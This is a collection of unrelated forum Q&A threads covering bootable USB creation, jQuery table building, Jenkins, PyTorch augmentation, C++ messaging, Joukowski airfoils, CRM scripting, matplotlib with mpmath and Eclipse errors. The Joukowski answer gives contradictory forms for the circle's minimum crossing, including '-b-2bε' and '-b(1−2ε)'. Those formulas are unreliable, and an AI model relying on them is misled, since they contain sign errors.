*xorriso-dd-target is a new tool, intended to be uploaded to a Debian repository. The purpose is to make it very safe to create boot drives (USB pendrives or memory cards). A special feature is the plug-in method to identify the target device. The man page is available here. In January 2020 there is not yet any installer, but you can copy and paste from the links above and install the shellscript and man page manually.

*Finally I want to mention bootiso which is described by its developer in another answer.
Question

Is there any way to create a bootable Ubuntu USB flash drive from the
  terminal without using any third-party applications like YUMI,
  Unetbootin, Startup Disk Creator, etc.

If we must look for text mode tools that are already installed in Ubuntu, I am afraid that there are no safe tools available. So in this case I can only suggest that you use dd or cp or cat according to many of the other answers here. But please check and double-check that you are really pointing to the intended target device before pressing the Enter key.
(By the way, the Ubuntu Startup Disk Creator belongs to Ubuntu (is not third party), but it needs a graphical desktop environment or at least a graphical window manager.)

A: If by "third-party" you mean "GUI", I suggest a lightweight script named bootiso after Avinash Raj answer, because dd does not always work. The big plus is it's very secure (performs many security checks not to mess up with the system), easy to install and portable.
Also, bootiso will inspect the ISO file to choose from two modes: "image-copy" (dd) when the ISO file is hybrid (implies: USB boot friendly). And "mount-rsync" mode when ISO file is non-hybrid, in which case a SYSLINUX bootloader will be automatically installed if supported [more details about install modes].
How to use it
First option, just provide the ISO as first argument and you'll be prompted to select a drive amongst a list extracted from lsblk:
bootiso myfile.iso

Or provide explicitly the USB device:
bootiso -d /dev/sde myfile.iso

Quick install
curl -L https://git.io/bootiso -O
chmod +x bootiso
sudo apt install wimtools

See it in action

A: You're almost there with dd, but you're missing a step.
sudo umount /dev/sdX
sudo dd if=/path/to/ubuntu.iso of=/dev/sdX bs=4M && sync

where sdX is your usb device (this can be verified with lsblk).
The sync bit is important as dd can return before the write operation finishes.

A: Creating a bootable Ubuntu USB flash drive from terminal

*

*Place the ubuntu.iso file in any hard disk partition.

*Then mount the ubuntu.iso file with the below commands in terminal:
sudo mkdir /media/iso/
sudo mount -o loop /path/to/ubuntu.iso /media/iso

*Insert your USB flash drive. My drive is /dev/sdd. Here's a screenshot:

*

*Your drive may be automatically mounted inside /media/. Let's assume that it was mounted in /media/xxx/.

*Copy all files from /media/iso/ to your mounted USB flash drive by running the below command (make sure to include the dot):
cp -a /media/iso/. /media/xxx/

*Next, you need the ldlinux.sys file in your USB flash drive to make the USB bootable. My USB partition is /dev/sdd1; enter lsblk to see what's yours. Run the below commands:
sudo apt-get install syslinux mtools
sudo syslinux -s /dev/sdd1

*Navigate to the /media/xxx mount folder and rename the isolinux directory to syslinux. Then go into the renamed folder and rename the file isolinux.cfg to syslinux.cfg.

*Reboot your PC and change the boot order in BIOS to allow booting from a USB drive. Now your Ubuntu USB flash drive will boot and you can install it.
This method will work for any Linux distribution, not only Ubuntu. You don't need to install any third party software to make a Linux USB flash drive.


text:
Q: Creating table for JSON multidimensional array I have my JSON here:
{
"orders": [
    {
        "orderNumber": "ORDER_900123",
        "orderDate": "2014-08-28T17:10:10Z",
        "orderType": "OR",
        "customerId": "19827",
        "poNumber": "PO_12345",
        "deliveries": [
            {
                "deliveryNumber": "D1.2",
                "shipDate": "2014-10-10T12:10:00Z",
                "devices": [
                    {
                        "deviceId": "1111",
                        "assetTag": "A123456"
                    },
                    {
                        "deviceId": "2222",
                        "assetTag": "A123456"
                    }
                ]
            },
            {
                "deliveryNumber": "D2.2",
                "shipDate": "2019-10-10T12:10:00Z",
                "devices": [
                    {
                        "deviceId": "3333",
                        "assetTag": "A123456"
                    },
                    {
                        "deviceId": "4444",
                        "assetTag": "A123456"
                    }
                ]
            }
        ]
    }
],
"statusCode": "COMPLETE",
"respondedOn": "2014-10-17T07:22:53Z"
}

I am trying to create a table for this JSON using $.each loop. Situation is that "deliveries" and "devices" number of array will always be changing except for "orders" which is only will be 1 array.
Here's what I have so far, since "orders" array will always be 1 I'll just put their key and value in var and echo them out later:
$.getJSON("sodresponse.json", function(data){
    var statusCode = data.statusCode;
    var respondedOn = data.respondedOn;
    var orderNumber = data.orders[0].orderNumber;
    var orderDate = data.orders[0].orderDate;
    var orderType = data.orders[0].orderType;
    var customerId = data.orders[0].customerId;
    var deliveries = '';
    var devices = '';

    $.each(data.orders[0].deliveries, function(key, value){
        deliveries += '
';
        deliveries += 'Delivery No:	';
        deliveries += ''+value.deliveryNumber+'	';
        deliveries += '
';
        deliveries += '
';
        deliveries += 'Ship Date:	';
        deliveries += ''+value.shipDate+'	';
        deliveries += '
';
        deliveries += '
';
        deliveries += 'Device ID:	';
        deliveries += ''+value.devices.deviceId+'	';
        deliveries += '
';
        deliveries += '
';
        deliveries += 'Asset Tag:	';
        deliveries += ''+value.devices.assetTag+'	';
        deliveries += '
';
    });

    $.each(data.orders[0].deliveries.devices, function(key, value){
        devices += '
';
        devices += 'Device ID	';
        devices += ''+value.deviceId+'	';
        devices += '
';
        devices += '
';
        devices += 'Asset Tag	';
        devices += ''+value.assetTag+'	';
        devices += '
';
    });
});
$('#sodtable').append(deliveries);

My desired output is like this:
Delivery No: D1.2
    Ship Date: 2014-10-10T12:10:00Z
        Device ID: 1111
        Asset Tag: A123456
        Device ID: 2222
        Asset Tag: A123456
Delivery No: D.2
    Ship Date: 2019-10-10T12:10:00Z
        Device ID: 3333
        Asset Tag: A123456
        Device ID: 4444
        Asset Tag: A123456

A: Try following code, You need to add devices loop inside current loop of deliveries
$.getJSON("sodresponse.json", function(data){
    var statusCode = data.statusCode;
    var respondedOn = data.respondedOn;
    var orderNumber = data.orders[0].orderNumber;
    var orderDate = data.orders[0].orderDate;
    var orderType = data.orders[0].orderType;
    var customerId = data.orders[0].customerId;
    var deliveries = '';
    var devices = '';
    $.each(data.orders[0].deliveries, function(key, value){
        deliveries += '
';
        deliveries += 'Delivery No:	';
        deliveries += ''+value.deliveryNumber+'	';
        deliveries += '
';
        deliveries += '
';
        deliveries += 'Ship Date:	';
        deliveries += ''+value.shipDate+'	';
        deliveries += '
';

        $.each(value.devices, function(key1, value1){
          console.log(value1.deviceId);
        deliveries += '
';
        deliveries += 'Device ID	';
        deliveries += ''+value1.deviceId+'	';
        deliveries += '
';
        deliveries += '
';
        deliveries += 'Asset Tag	';
        deliveries += ''+value1.assetTag+'	';
        deliveries += '
';

    });
         deliveries += '

';
    });

    $('#sodtable').append(deliveries);
});

DEMO


text:
Q: Jenkins build status icons on GitHub Pull requests I am integrating Jenkins with GitHub and have successfully set Jenkins to build after a GitHub push. But another thing I would like to establish is the build status icons(green check, yellow circle for pending, red "x") on the Pull request page. How do I go about to show these icons?
Here's an example from apple's swift pull request page:

A: In order to do this, you need to add Jenkins plugins:

*

*github-request-builder sets the build status of a given PR in GitHub.  This post is a good guide for setting it up.

*embeddable-build-status hosts a project-wide image showing your overall build status:


text:
Q: Custom Data Augmentation function does not align augmentation on image and mask I'm not sure the way that I am using data augmentation for my semantic segmentation task is working properly. I define my own pyTorch Dataset PositiveOnly of images and their masks. However, when I try to plot the same instance of my dataset, the image and mask do not align. I have 3 channel images, and 1 channel masks.
My function to apply simple rotations to a semantic segmentation dataset is here, as well as the custom ToTensor function, and the overall wrapper for my dataset:
class Randomize(object):
    def __call__(self, sample):

        imgdata = sample['img']
        fptdata = sample['fpt']

        # mirror horizontally
        mirror = np.random.randint(0, 2)
        if mirror:
            imgdata = np.flip(imgdata, 2)
            fptdata = np.flip(fptdata, 1)

        # flip vertically
        flip = np.random.randint(0, 2)
        if flip:
            imgdata = np.flip(imgdata, 1)
            fptdata = np.flip(fptdata, 0)

        # rotate by [0,1,2,3]*90 deg
        rot = np.random.randint(0, 4)
        imgdata = np.rot90(imgdata, rot, axes=(1,2))
        fptdata = np.rot90(fptdata, rot, axes=(0,1))

        return {'img': imgdata.copy(),
                'fpt': fptdata.copy()}

class ToTensor(object):
    def __call__(self, sample):
        out = {'img': torch.from_numpy(sample['img'].copy()),
               'fpt': torch.from_numpy(sample['fpt'].copy())}
        return out

def create_dataset(*args, apply_transforms=True, **kwargs):

    if apply_transforms:
        data_transforms = transforms.Compose([
            Randomize(),
            ToTensor(),
        ])
    else:
        data_transforms = None

    data = PositiveOnly(*args, **kwargs, transform=data_transforms)
    return data

I've broken down the Randomize function line by line and it does appear to work, but once i call it in my dataset prior to the dataloader I see they don't align.
My dataset is defined as:
class PositiveOnly(Dataset):
    def __init__(self, p_pkl, transform=None):
        self.p_pkl = p_pkl
        self.transform = transform

        with open(p_pkl, "rb") as fp:
            self.p_pkl = pkl.load(fp)

    def __len__(self):
        return len(self.p_pkl)

    def __getitem__(self, idx):
        sample = self.p_pkl[idx]
#         print(sample)
        if self.transform:
            sample = self.transform(sample)
        return sample

Here is the code I run to see that they don't align:
p = create_dataset('data.pkl',
                   apply_transforms=True)

pic = np.moveaxis(np.array(p[0]['img']), 0,2) #is a pytorch tensor with shape (3, 288,288)
mak = p[0]['fpt']

plt.imshow(pic)
plt.show()
plt.imshow(mak)
plt.show()

Is there something wrong with my Randomize function, or the way that I am calling to plot them? I plan to run this in a deep learning model but need them to align so the results aren't messed up.


text:
Q: C++ JMS client or C++/C SOAP Client I have an application in C++, but it'll need to 'talk' to Java based message-service. In the past we used WebSphere MQ and used their C++ libraries to do the 'talking'.
So I am in search of (ideally) free C++ to Java solution which doesn't hold the whole JVM in memory.
The other option I've looked into is SOAP.
I've looked into Axis2-C but it gives me the whole server implementation, which I don't need.
I've seen talk about gSOAP but saw mixed comments here. And again it seems to be providing me with a whole server.
I could write the code myself - but it goes against my (Java based) belief that excellent free code exists out there.
Thanks!
A'z

A: There are a couple of points here which don't make sense to me, JMS is a java specific abstraction over a generic messaging API, much the same way that JDBC is a java specific abstraction over a generic database API.
I can't imagine anyone wanting a JDBC driver for a C++ application, they would rather use an ODBC driver.
So if I assume that your objective is to send messages without using Websphere MQ from a C++ application, then I can recommend that you consider the following:

*

*Do you need asynchronous messaging? i.e. store message on queue until message is consumed?

*If yes, then web-services will not work for your application, unless you are prepared to host a web-server to receive the responses, and call back to your application.

You haven't mentioned whether the underlying java based message service is going to be JMS or WebServices.
You could consider using ActiveMQ as a messaging provider, it provides an implementation of the JMS API and also implements the STOMP protocol, which has client libraries for a number of languages including C++.
You could leave open your decision for end-point protocols while you try out various options, by implementing an integration layer using something like Mule.
You can quickly develop small integrations on Mule e.g. to accept a Message on ActiveMQ, and post it to a WebService and put the WebService response on a different ActiveMQ response queue.  Or vice-versa, accept web-service call and post SOAP onto JMS queue, wait for JMS response and build SOAP response.
There are many ESB-like frameworks which can facilitate these sort of integrations to various degrees :

*

*Mule

*ServiceMix

*Fuse

*Apache Camel

*Spring Integration

*JBoss ESB
EDIT:
Given the clarification I will refine my answer:

*

*You need a common message broker that is accessible to C++ and Java such as ActiveMQ.

*You need a small / lightweight integration layer such as some of those above to accept from ActiveMQ and forward to SonicMQ, and vice-versa.

2.1 From what I know of Sonic, they have an ESB stack that should be able to do this instead of using one of the containers/frameworks mentioned above, but that will open up issues of integration ownership between you and the client.
I found 3 links showing Sonic support for C and C++ :
 - http://www.sonicsoftware.com/products/docs/sonicmq_app_server_ds.pdf
 - http://www.sonicsoftware.com/developer/documentation/docs/sonicmq_c_v60.pdf
 - http://communities.progress.com/pcom/servlet/JiveServlet/download/10809-3-10161/cclients_readme_76.htm  (dodgy mime type on this link)

A: The SonicMQ site seems to indicate that they support C++.
It would appear that this is suitable.

A: There are C++ libraries for SonicMQ. The main constraint is that you have to be using the same build (ie. STL libraries, etc) that Sonic used to compile the libraries.
http://web.progress.com/en/sonic/sonicmq-clients.html
Of course you asked this question over half a year ago, so this information is probably a bit late. :-)


text:
Q: Determination of a Joukowski airfoil chord (demonstration) I'm currently studying Aerodynamics, and one thing that I noticed is that the maximum and minimum $x$ coordinate of the airfoils (which are necessary to compute the chord) on the transformed plane (let it be $z(x,y)$) correspond to the transformed intersection points of the circumference on the original plane  (let it be $\zeta(\xi,\eta)$) with the real axis. I don't find any proof of this statement, and so I tried to do it by myself. The problem is that it got too complicated to be solved analytically (too many different powers of trignometric functions). So I'm requesting someone to try demonstrate this too. I think that there's a simpler way to do it.
There's my introduction to the problem:

Consider the original circumference defined on the complex $\zeta$ plane:

where $a$ is the circumference radius, and $b$ the intersection of the circumference with the real positive axis, $\xi$. The parameter $\beta$ is the angle between the horizontal line and the line that links $\zeta_0$ to $b$. The center of the circumference is:
$$\zeta_0=-b\varepsilon+ia\sin(\beta)=-b\varepsilon+i(1+\varepsilon)b\tan(\beta)$$
So, this circumference is defined by:
$$\zeta=-b\varepsilon+b\frac{1+\varepsilon}{\cos(\beta)}\left(e^{i\theta}+i\sin(\beta)\right),\hspace{15pt}\theta \in [0,2\pi]$$
Now I need to show that for the Joukowski transform $z=\zeta+\frac{b^2}{\zeta}$ the $x$ coordinate (real coordinate on the plane $z$) has
a maximum on $\zeta=b$ (intersection of the circunference with the positive real axis) and a minimum on $\zeta=-b(1+2\varepsilon)$, (intersection of the circunference with the negative real axis).

A: Although the math behind the conformal transformation may seem obscure, the mathematical process is rather direct. Necessary elements in the transformation are a transform circle ζ of radius a and nondescript vector Z extending from the origin to various positions on the perimeter of ζ.  The length of vector Z from the origin to the circumference of ζ changes through the continuum of increasing positive angles θ  being swept out by Z. For each angular position taken by Z, vector $b^2$/Z is poised in the interior of ζ at corresponding angle -θ.  The airfoil contour in z(x,y) space is defined by the vector sum Z + $b^2$/Z.  The airfoil chord is defined by the transformed maximum- and minimum-abscissa crossings of the transform circle. The Z + $b^2$/Z vector sum at these points defines the end points of the abscissa-length spanned by the airfoil in z(x,y) space. In many instances, the airfoil chord can be completely within the profile of the airfoil contour. More highly cambered airfoils may have a portion of the chord exterior to the concave lower portion of the contour.  Camber is simply the curved-profile form of the airfoil.
The first included illustration summarizes all salient and relevant features needed to answer the question. The circle center $ζ_0$ has an abscissa given as -bε. The circle having this center and positive-abscissa crossing at b is of radius a, with radius-center $ζ_0$ making shown angle β with the abscissa through b. For this discussion, however, β is taken as the positive angle –β + $\pi$. Consequently, the distance from the maximum crossing at b, to the abscissa of the center at ξ=-bε, is bε+b.  The minimum crossing in relation to the origin may be readily determined as ξ=-b-$2$bε or, exactly, -b($1-2$ε). In relative terms, a•cos(β) = bε+b, the distance from the maximum at b to the center abscissa at -bε, and that $2$a•cos(β)=$2$(bε+b), the distance from b to the circle minimum-abscissa crossing. Consequently, this minimum is also obtained as ξ=-a•cos(β)-bε.
When Z is aligned coincident with the abscissa at $\theta$=$0$ or $\pi$, $b^2$/Z is also coincident with the abscissa. Consequently, Z is obtained directly by previous determination that ξ=b or ξ=-b-$2$bε at these locations, and summation of Z with $b^2$/Z for each case gives maximum and minimum abscissa values of the airfoil.
Exactly, what are these values?  We can see that when Z is aligned with the positive abscissa, Z has length b, as does $b^2$/Z. The airfoil coordinate is the sum Z + $b^2$/Z, namely $2$b. Consequently, z(x,y) becomes ($2$,$0$) if b is assigned a value of $1$. If b is greater or lesser, all of the dimensions and functions in the transformation space are changed proportionally. Consequently, changes in b give no change to the appearance of the airfoil. Commonly, b is assigned a fixed value of $1$ because associations with b are then greatly simplified.
When $\theta$=$\pi$,  Z is directed at the circle minimum-abscissa. At this position Z + $b^2$/Z transforms into the airfoil minimum-abscissa. Assigning b as $1$ gives the circle minimum as Z = -$1$–$2$ε. The vector sum becomes (-$1$–$2$ε) + ($1$/(-$1$–$2$ε)). We can also look at this in trigonometric terms. The connection of β to $1$+ε gives the same result in a different form yielding first Z = -a•cos(β)-ε, and then counterpart $1$/Z = (a•cos(β)-ε)$^2$/(-a•cos(β)-ε). However, *(a•cos(β)-ε)$^2$ is really $1$. Consequently, the vector sum for the minimum becomes (-a•cos(β)-ε) + (($1$/(-a•cos(β)-ε)). As one can see, these are two apparently different forms giving the same minimum x-axis value for the airfoil. Really, they are the same.
Not all of the results are as easily determined as those at b, the circle abscissa-maximum crossing. This is because the circle maximum-abscissa crossing is at a fixed point, b, in relation to other aspects of the circle connected to b that can be varied. This simplification is not the case with the circle minimum-abscissa crossing. The  ξ coordinate -ε for abscissa of the circle center determines the coordinate of the circle minimum-abscissa crossing. The negative value of ε is determined by the radius a and angle β anchored at b. To keep -ε constant, an increase in β requires an increase in a. The distance -ε of circle-center $ζ_0$ from the η - axis will vary most notably with changes in radius a. Consequently, β varied within constrained limits will change the relationship of a fixed-value radius a and the resulting negative value of ε. The most important aspect to keep in mind is that in the Joukowski transformation, a fixed value of the center ordinate, -ε, will always give the same result for the airfoil minimum-abscissa crossing.
A total picture of the Joukowski transformation can be gained from the following sources:
K. Pohlhausen, in Theory of Functions as Applied to Engineering Problems: Technology Press, M.I.T, 1933. B. Two-Dimensional Fields of Flow, pp. 103 - 125.  In this reference, the unit circle is used as the basis for airfoil camber and radius-ratio definition of the transform circle. Polhausen, however, is not specific about definition of the unit circle or of the transform circle in this way.
Milne-Thomson, L.M., Theoretical Hydrodynamics, 5th ed.: The Macmillan Company, 1968. 7.30. Further investigation of the Joukowski transformation, p. 195 ff.  Special attention should be paid to 7.31 regarding geometrical relationships in the transformation.
The following illustrations provide a visual demonstration of this answer for -ε held to a constant value of -ε = $-0.111$. The circle minimum-abscissa crossing is at ξ = -$1$+$2$ε having a value of $-1.223$ as shown by the small circle marking that point on the transform-circle perimeter. The airfoil minimum crossing for the transformed point in z(x,y) space is at z(x) = $-2.041$. Angle β and radius a have the following values in the first illustration (more cambered airfoil), $2.889$ and $1.148$, and in the second illustration (less cambered airfoil), $3.016$ and $1.12$. For the calculation of these examples, β is measured counter-clockwise to the center of radius a from the positive-directed ξ-axis at b.  In both illustrations, b has a value of $1$, the corresponding airfoil maximum x-coordinate is at $2$. The airfoil chord has a length of $4.041$.
salient and relevant features in the transformation
$\beta$ and radius a are $2.889$ and $1.148$, respectively
$\beta$ and radius a are $3.016$ and $1.120$, respectively


text:
Q: Set custom warning message in business process flow I have a business process flow that has a "special" validation. At least one of 3 steps have to be set to "Yes" to be able to continue to the next stage.
Here's my handler on stage change.
var subStageRequirements = new Array();
subStageRequirements.push({ stage: 0, fields: ['new_is_project_scope_defined_substage'] });
subStageRequirements.push({ stage: 1, fields: ['new_is_demo_1_substage', 'new_is_demo_2_substage', 'new_is_selection_srv_outlined_substage'] });
subStageRequirements.push({ stage: 2, fields: ['new_is_proposal_substage', 'new_is_negotiation_substage'] });

function onStageChange(context) {

    var stage = context.getEventArgs().getStage();
    var stageCategory = stage.getCategory().getValue();
    var direction = context.getEventArgs().getDirection();

    if (direction == "Next") {

        //validate requirements on previous field...
        var valid = false;
        var req = subStageRequirements[stageCategory - 1];

        for (var i = 0; i <= req.fields.length - 1; i++) {
            if (Xrm.Page.getAttribute(req.fields[i]).getValue()) {
                valid = true;
                break;
            }
        }

        if (!valid) {

            Xrm.Page.data.process.movePrevious(function (result) {
                if (result != "success") {
                    alert('Error forcing back to previous step: ' + result + '. Have fun...');
                }

                var messageArea = $(window.parent.document).find('.processWarningBar');
                messageArea.css('display', 'block');

                var textArea = $(window.parent.document).find('.processWarningBar-Text');

                textArea.attr('title', 'At least one sales sub-stage has to be selected to move on to next sales stage.');
                textArea.text('At least one sales sub-stage has to be selected to move on to next sales stage.');

                setTimeout(function () {
                    var messageArea = $(window.parent.document).find('.processWarningBar');
                    messageArea.css('display', 'none');
                }, 5000);
            });

        }

    }
}

As you see, once the stage has changed, I check if the steps in the previous stage (current stage - 1, in position) at least have one true value.
If not, I move back a stage (movePrevious) and then engage in some jQuery trickery... Which has some downsides (both error and warning icon are showing in the error, I have to hide the error div myself, sometimes when the validation passes and I move on to the next stage, the custom error message will flicker and disappear).
I'm trying to get this part to show a custom message:

Any better way to do this ? I'm thinking of the functions CRM itself calls when showing its own default message. I tried to ferret them out, but they seem well hidden.
EDIT
I changed the validation code to this as proposed by answer below:
if (!valid) {

    Xrm.Page.data.process.movePrevious(function (result) {
        if (result != "success") {
            alert('Error forcing back to previous step: ' + result + '. Have fun...');
        }

        Xrm.Page.ui.setFormNotification('At least one sales sub-stage has to be selected to move on to next sales stage.', 'ERROR', 'subStageMessage');

        setTimeout(function () {
            Xrm.Page.ui.clearFormNotification('subStageMessage');
        }, 5000);

    });

    return;
}
else
{
    Xrm.Page.ui.clearFormNotification('subStageMessage'); //trying to hide it once the previous stage has passed validation, but error message is still shown...
}

The issue now is that the message is shown even when moving to the next stage. When validation fails, the user is sent back to previous step, then the message is shown. When the user completes the missing steps and moves to the next stage, even though the code that shows the message isn't executed, the message is still shown for another 5 seconds (??)
I'm using CRM 2016, and this is for the Opportunity entity.

A: Yes, a better way exists: Xrm.Page.ui.setFormNotification
// Sample
Xrm.Page.ui.setFormNotification("You have to complete required steps", "INFO", "messageId");

A: I've decided to use Notify.js and by doing the same using this web resource, the problem of reappearing notification is solved.
if (!valid) {

    Xrm.Page.data.process.movePrevious(function (result) {
        Notify.add('<b>At least one sales sub-stage has to be selected to move on to next sales stage.</b>', 'WARNING', 'subStageMessage', null);
    });

 }
 else {
     //if previous stage's steps were all valid, remove all notifications
     Notify.remove();
 }


text:
Q: Matplotlib fails with `TypeError` when plotting with mpmath I have 2D data which is very small (of order e-500) so I cannot use numpy which I would like to draw as a pcolormesh. For instance,
import mpmath as mp
import matplotlib.pyplot as plt
import numpy as np
from mpmath import e as e
from mpmath import mpf, mpc,mp
mp.dps = 1000
y, x = np.meshgrid(np.linspace(-5, 5, 1000), np.linspace(-5, 5, 1000))
z = e ** (-x**2 + y)
z = z[:-1, :-1]
z_min, z_max = -np.abs(z).max(), np.abs(z).max()

compiles very well but when I want to do a pcolormesh things go south:
fig, ax = plt.subplots()
c = ax.pcolormesh(x, y, z, cmap='RdBu', vmin=z_min, vmax=z_max)
ax.set_title('Titles are overall a positive feature')
ax.axis([x.min(), x.max(), y.min(), y.max()])
fig.colorbar(c, ax=ax)
plt.show()

gives the error TypeError: ufunc 'isnan' not supported for the input types, and the inputs could not be safely coerced to any supported types according to the casting rule ''safe''
Why does this happen? Do you have any idea how to solve this? Maybe plotting without mpmath can be helpful.
EDIT: Full traceback
TypeError                                 Traceback (most recent call last)
~/.local/lib/python3.8/site-packages/IPython/core/formatters.py in __call__(self, obj)
   339                 pass
   340             else:
--> 341                 return printer(obj)
   342             # Finally look for special method names
   343             method = get_real_method(obj, self.print_method)

~/.local/lib/python3.8/site-packages/IPython/core/pylabtools.py in <lambda>(fig)
   246
   247     if 'png' in formats:
--> 248         png_formatter.for_type(Figure, lambda fig: print_figure(fig, 'png', **kwargs))
   249     if 'retina' in formats or 'png2x' in formats:
   250         png_formatter.for_type(Figure, lambda fig: retina_figure(fig, **kwargs))

~/.local/lib/python3.8/site-packages/IPython/core/pylabtools.py in print_figure(fig, fmt, bbox_inches, **kwargs)
   130         FigureCanvasBase(fig)
   131
--> 132     fig.canvas.print_figure(bytes_io, **kw)
   133     data = bytes_io.getvalue()
   134     if fmt == 'svg':

~/.local/lib/python3.8/site-packages/matplotlib/backend_bases.py in print_figure(self, filename, dpi, facecolor, edgecolor, orientation, format, bbox_inches, **kwargs)
  2077                             print_method, dpi=dpi, orientation=orientation),
  2078                         draw_disabled=True)
-> 2079                     self.figure.draw(renderer)
  2080                     bbox_artists = kwargs.pop("bbox_extra_artists", None)
  2081                     bbox_inches = self.figure.get_tightbbox(renderer,

~/.local/lib/python3.8/site-packages/matplotlib/artist.py in draw_wrapper(artist, renderer, *args, **kwargs)
    36                 renderer.start_filter()
    37
---> 38             return draw(artist, renderer, *args, **kwargs)
    39         finally:
    40             if artist.get_agg_filter() is not None:

~/.local/lib/python3.8/site-packages/matplotlib/figure.py in draw(self, renderer)
  1733
  1734             self.patch.draw(renderer)
-> 1735             mimage._draw_list_compositing_images(
  1736                 renderer, self, artists, self.suppressComposite)
  1737

~/.local/lib/python3.8/site-packages/matplotlib/image.py in _draw_list_compositing_images(renderer, parent, artists, suppress_composite)
   135     if not_composite or not has_images:
   136         for a in artists:
--> 137             a.draw(renderer)
   138     else:
   139         # Composite any adjacent images together

~/.local/lib/python3.8/site-packages/matplotlib/artist.py in draw_wrapper(artist, renderer, *args, **kwargs)
    36                 renderer.start_filter()
    37
---> 38             return draw(artist, renderer, *args, **kwargs)
    39         finally:
    40             if artist.get_agg_filter() is not None:

~/.local/lib/python3.8/site-packages/matplotlib/axes/_base.py in draw(self, renderer, inframe)
  2628             renderer.stop_rasterizing()
  2629
-> 2630         mimage._draw_list_compositing_images(renderer, self, artists)
  2631
  2632         renderer.close_group('axes')

~/.local/lib/python3.8/site-packages/matplotlib/image.py in _draw_list_compositing_images(renderer, parent, artists, suppress_composite)
   135     if not_composite or not has_images:
   136         for a in artists:
--> 137             a.draw(renderer)
   138     else:
   139         # Composite any adjacent images together

~/.local/lib/python3.8/site-packages/matplotlib/artist.py in draw_wrapper(artist, renderer, *args, **kwargs)
    36                 renderer.start_filter()
    37
---> 38             return draw(artist, renderer, *args, **kwargs)
    39         finally:
    40             if artist.get_agg_filter() is not None:

~/.local/lib/python3.8/site-packages/matplotlib/collections.py in draw(self, renderer)
  2045                 offsets = np.column_stack([xs, ys])
  2046
-> 2047         self.update_scalarmappable()
  2048
  2049         if not transform.is_affine:

~/.local/lib/python3.8/site-packages/matplotlib/collections.py in update_scalarmappable(self)
   790             return
   791         if self._is_filled:
--> 792             self._facecolors = self.to_rgba(self._A, self._alpha)
   793         elif self._is_stroked:
   794             self._edgecolors = self.to_rgba(self._A, self._alpha)

~/.local/lib/python3.8/site-packages/matplotlib/cm.py in to_rgba(self, x, alpha, bytes, norm)
   243         if norm:
   244             x = self.norm(x)
--> 245         rgba = self.cmap(x, alpha=alpha, bytes=bytes)
   246         return rgba
   247

~/.local/lib/python3.8/site-packages/matplotlib/colors.py in __call__(self, X, alpha, bytes)
   559         if np.ma.is_masked(X):
   560             mask_bad = X.mask
--> 561         elif np.any(np.isnan(X)):
   562             # mask nan's
   563             mask_bad = np.isnan(X)

TypeError: ufunc 'isnan' not supported for the input types, and the inputs could not be safely coerced to any supported types according to the casting rule ''safe''

<Figure size 432x288 with 2 Axes> ```

A: With your code, edited to run in reasonable testing time:
    ...: mp.dps = 10
    ...: y, x = np.meshgrid(np.linspace(-5, 5, 10), np.linspace(-5, 5, 10))
    ...: z = e ** (-x**2 + y)
    ...: z = z[:-1, :-1]
    ...: z_min, z_max = -np.abs(z).max(), np.abs(z).max()
    ...:
In [11]: z
Out[11]:
array([[mpf('9.357622969874e-14'), mpf('2.842594865759e-13'),
        mpf('8.635040754285e-13'), mpf('2.623093769921e-12'),
        mpf('7.968255300282e-12'), mpf('2.420542233701e-11'),
        mpf('7.352958062098e-11'), mpf('2.233631436379e-10'),
        mpf('6.785173193566e-10')],
...., dtype=object)
In [12]: z.dtype
Out[12]: dtype('O')
In [13]: np.isnan(z)
Traceback (most recent call last):
  File "<ipython-input-13-72670087bbfa>", line 1, in <module>
    np.isnan(z)
TypeError: ufunc 'isnan' not supported for the input types, and the inputs could not be safely coerced to any supported types according to the casting rule ''safe''

By using mpmath you have created a object dtype array.  While that may have greater precision, it also runs much slower, and in some cases does not run at all.
isnan expects a numeric dtype array:
In [16]: np.any(np.isnan(z.astype(float)))
Out[16]: False

The traceback indicates that plot uses the isnan to "blank out" nan values in the plot.
This works:
plt.pcolormesh(x, y, z.astype('float128'), cmap='RdBu', vmin=z_min, vmax=z_max)


text:
Q: Addings elements to a list inside a dataframe columns in python from a database Let's say I have a pandas dataframe:
df = pd.DataFrame([["John",['a','b','c'],12], ["Smith",['c','x','z'],30]],
                 columns=['c1','c2','c3'])

And I have an sql table with different people and subjects they are interested in like 'a' , 'b' , 'z' etc.. one person can have multiple interests obviously.
I want to know how is it possible in Python to actually make a for loop that table to add to my data-frame df all the interests for each person as an element in the list existing in the column 'c2' exactly like the example? I couldn't find a proper way.


text:
Q: Unhandled event loop exception Eclipse If I click Run As to run the class, i am getting following error and then eclipse does not run anything. How to resolve this?
java.lang.IllegalArgumentException
    at org.eclipse.jdt.core.dom.ASTParser.<init>(ASTParser.java:226)
    at org.eclipse.jdt.core.dom.ASTParser.newParser(ASTParser.java:125)
    at org.testng.eclipse.util.TestSearchEngine.doIsTest(TestSearchEngine.java:273)
    at org.testng.eclipse.util.TestSearchEngine.doIsTest(TestSearchEngine.java:257)
    at org.testng.eclipse.util.TestSearchEngine.isTest(TestSearchEngine.java:225)
    at org.testng.eclipse.launch.tester.JavaTypeExtender.isTest(JavaTypeExtender.java:29)
    at org.testng.eclipse.launch.tester.JavaTypeExtender.test(JavaTypeExtender.java:14)
    at org.testng.eclipse.launch.tester.TestNGPropertyTester.isTestClass(TestNGPropertyTester.java:60)
    at org.testng.eclipse.launch.tester.TestNGPropertyTester.test(TestNGPropertyTester.java:42)
    at org.eclipse.core.internal.expressions.Property.test(Property.java:58)
    at org.eclipse.core.internal.expressions.TestExpression.evaluate(TestExpression.java:99)
    at org.eclipse.core.internal.expressions.CompositeExpression.evaluateAnd(CompositeExpression.java:53)
    at org.eclipse.core.internal.expressions.IterateExpression.evaluate(IterateExpression.java:150)
    at org.eclipse.core.internal.expressions.CompositeExpression.evaluateAnd(CompositeExpression.java:53)
    at org.eclipse.core.internal.expressions.WithExpression.evaluate(WithExpression.java:72)
    at org.eclipse.core.internal.expressions.CompositeExpression.evaluateAnd(CompositeExpression.java:53)
    at org.eclipse.core.internal.expressions.EnablementExpression.evaluate(EnablementExpression.java:53)
    at org.eclipse.debug.internal.ui.launchConfigurations.LaunchShortcutExtension.evalEnablementExpression(LaunchShortcutExtension.java:287)
    at org.eclipse.debug.ui.actions.ContextualLaunchAction.isApplicable(ContextualLaunchAction.java:295)
    at org.eclipse.debug.ui.actions.ContextualLaunchAction.fillMenu(ContextualLaunchAction.java:218)
    at org.eclipse.debug.ui.actions.ContextualLaunchAction$1.menuShown(ContextualLaunchAction.java:137)
    at org.eclipse.swt.widgets.TypedListener.handleEvent(TypedListener.java:255)
